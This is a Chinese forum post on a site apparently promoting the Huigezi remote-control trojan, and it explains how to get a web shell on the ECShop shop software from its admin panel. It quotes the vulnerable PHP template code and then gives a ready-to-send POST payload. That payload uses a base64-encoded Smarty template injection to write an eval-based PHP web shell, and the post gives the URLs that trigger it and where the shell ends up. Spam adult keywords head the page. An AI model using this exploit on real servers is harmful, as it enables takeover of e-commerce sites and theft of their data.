久久精品中文字幕,狠狠色丁香婷婷综合,精品国产制服丝袜高跟,国内精品久久久久久久久齐齐 ,国模冰莲极品自慰人体

灰鴿子遠程控制軟件

 找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

查看: 10558|回復(fù): 0
打印 上一主題 下一主題

post在Ecshop后臺getshell的方法 灰鴿子下載www.huigezi.org

[復(fù)制鏈接]
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2013-2-3 14:10:53 | 只看該作者 回帖獎勵 |正序瀏覽 |閱讀模式
post在Ecshop后臺getshell的方法 灰鴿子下載

admin/template.phpif ($_REQUEST['act'] == ‘update_library’)
{
    check_authz_json(‘library_manage’);
    $html = stripslashes(json_str_iconv($_POST['html']));
    $lib_file = ‘../themes/’ . $_CFG['template'] . ‘/library/’ . $_POST['lib'] . ‘.lbi’; //模板文件
    $lib_file = str_replace(“0xa”, ”, $lib_file); // 過濾 0xa 非法字符
    $org_html = str_replace(“\xEF\xBB\xBF”, ”, file_get_contents($lib_file));
    if (@file_exists($lib_file) === true && @file_put_contents($lib_file, $html))//寫出
    {
        @file_put_contents(‘../temp/backup/library/’ . $_CFG['template'] . ‘-’ . $_POST['lib'] . ‘.lbi’, $org_html);
        make_json_result(”, $_LANG['update_lib_success']);
    }
    else
    {
        make_json_error(sprintf($_LANG['update_lib_failed'], ‘themes/’ . $_CFG['template'] . ‘/library’));
    }
}
那么找個比較方便調(diào)用了模板的文件
index.php
if ($act == ‘cat_rec’)
{
    $rec_array = array(1 => ‘best’, 2 => ‘new’, 3 => ‘hot’);
    $rec_type = !empty($_REQUEST['rec_type']) ? intval($_REQUEST['rec_type']) : ’1′;
    $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : ’0′;
    include_once(‘includes/cls_json.php’);
    $json = new JSON;
    $result   = array(‘error’ => 0, ‘content’ => ”, ‘type’ => $rec_type, ‘cat_id’ => $cat_id);

  $children = get_children($cat_id);
    $smarty->assign($rec_array[$rec_type] . ‘_goods’,      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推薦商品
    $smarty->assign(‘cat_rec_sign’, 1);
    $result['content'] = $smarty->fetch(‘library/recommend_’ . $rec_array[$rec_type] . ‘.lbi’);//使用了模板文件 該模板文件為recommend_best
        echo ‘library/recommend_’ . $rec_array[$rec_type] . ‘.lbi’;
        echo $rec_array[$rec_type];
    die($json->encode($result));
}

那么就有利用方法了
post包到http://www.huigezi.org/ec/admin/template.php?act=update_library
Post內(nèi)容:
lib=recommend_best&html={if fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
復(fù)制代碼
然后訪問http://localhost/ec/index.php?act=cat_rec
shel地址:http://localhost/ec/demo.php

評帖賺銀幣(0) 收起
分享到:  QQ好友和群QQ好友和群
收藏收藏
您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規(guī)則

Archiver|手機版|小黑屋|灰鴿子遠程控制軟件|灰鴿子遠程控制軟件 ( 魯ICP備14000061號-4 )

GMT+8, 2025-5-19 07:32 , Processed in 0.073375 second(s), 23 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表